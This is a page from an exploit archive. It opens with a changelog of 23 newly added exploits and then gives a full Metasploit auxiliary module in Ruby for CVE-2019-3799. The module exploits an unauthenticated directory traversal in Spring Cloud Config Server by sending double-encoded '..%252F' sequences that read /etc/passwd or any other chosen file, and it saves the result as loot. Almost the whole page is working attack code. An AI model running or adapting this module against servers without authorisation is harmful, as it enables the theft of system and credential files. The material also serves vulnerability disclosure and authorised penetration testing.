
23 changes to exploits/shellcodes SpotAuditor 3.6.7 - Denial of Service (PoC) SpotAuditor 3.6.7 - 'Base64 Encrypted Password' Denial of Service (PoC) SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC) Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) IP-Tools 2.5 - 'Log to file' Local Buffer Overflow (SEH) (Egghunter) DeviceViewer 3.12.0.1 - 'user' SEH Overflow Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit) AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit) Pimcore < 5.71 - Unserialize RCE (Metasploit) Netgear DGN2200 / DGND3700 - Admin Password Disclosure Veeam ONE Reporter 9.5.0.3201 - Multiple Cross-Site Request Forgery Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-Site Scripting Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-site Scripting (Add/Edit Widget) Intelbras IWR 3000N - Denial of Service (Remote Reboot) Joomla! Component ARI Quiz 3.7.4 - SQL Injection Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery HumHub 1.3.12 - Cross-Site Scripting Spring Cloud Config 2.1.x - Path Traversal (Metasploit) Domoticz 4.10577 - Unauthenticated Remote Command Execution Joomla! Component JiFile 2.3.1 - Arbitrary File Download Hyvikk Fleet Manager - Shell Upload Agent Tesla Botnet - Information Disclosure Oracle Weblogic 10.3.6.0.0 / 12.1.3.0.0 - Remote Code Execution
74 lines
No EOL
2 KiB
Ruby
Executable file
74 lines
No EOL
2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Spring Cloud Config Server Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated directory traversal
|
|
vulnerability
|
|
which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
|
|
versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
|
|
Spring
|
|
Cloud Config listens by default on port 8888.
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-3799'],
|
|
['URL', 'https://pivotal.io/security/cve-2019-3799']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Vern', # Vulnerability discovery
|
|
'Dhiraj Mishra' # Metasploit module
|
|
],
|
|
'DisclosureDate' => '2019-04-17',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8888),
|
|
OptString.new('FILEPATH', [true, "The path to the file to read",
|
|
'/etc/passwd']),
|
|
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
|
|
])
|
|
end
|
|
|
|
def data
|
|
Rex::Text.rand_text_alpha(3..8)
|
|
end
|
|
|
|
def run_host(ip)
|
|
filename = datastore['FILEPATH']
|
|
traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
|
|
uri = "/#{data}/#{data}/master/#{traversal}"
|
|
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
print_error('Nothing was downloaded')
|
|
return
|
|
end
|
|
|
|
vprint_good("#{peer} - #{res.body}")
|
|
path = store_loot(
|
|
'springcloud.traversal',
|
|
'text/plain',
|
|
ip,
|
|
res.body,
|
|
filename
|
|
)
|
|
print_good("File saved in: #{path}")
|
|
end
|
|
end |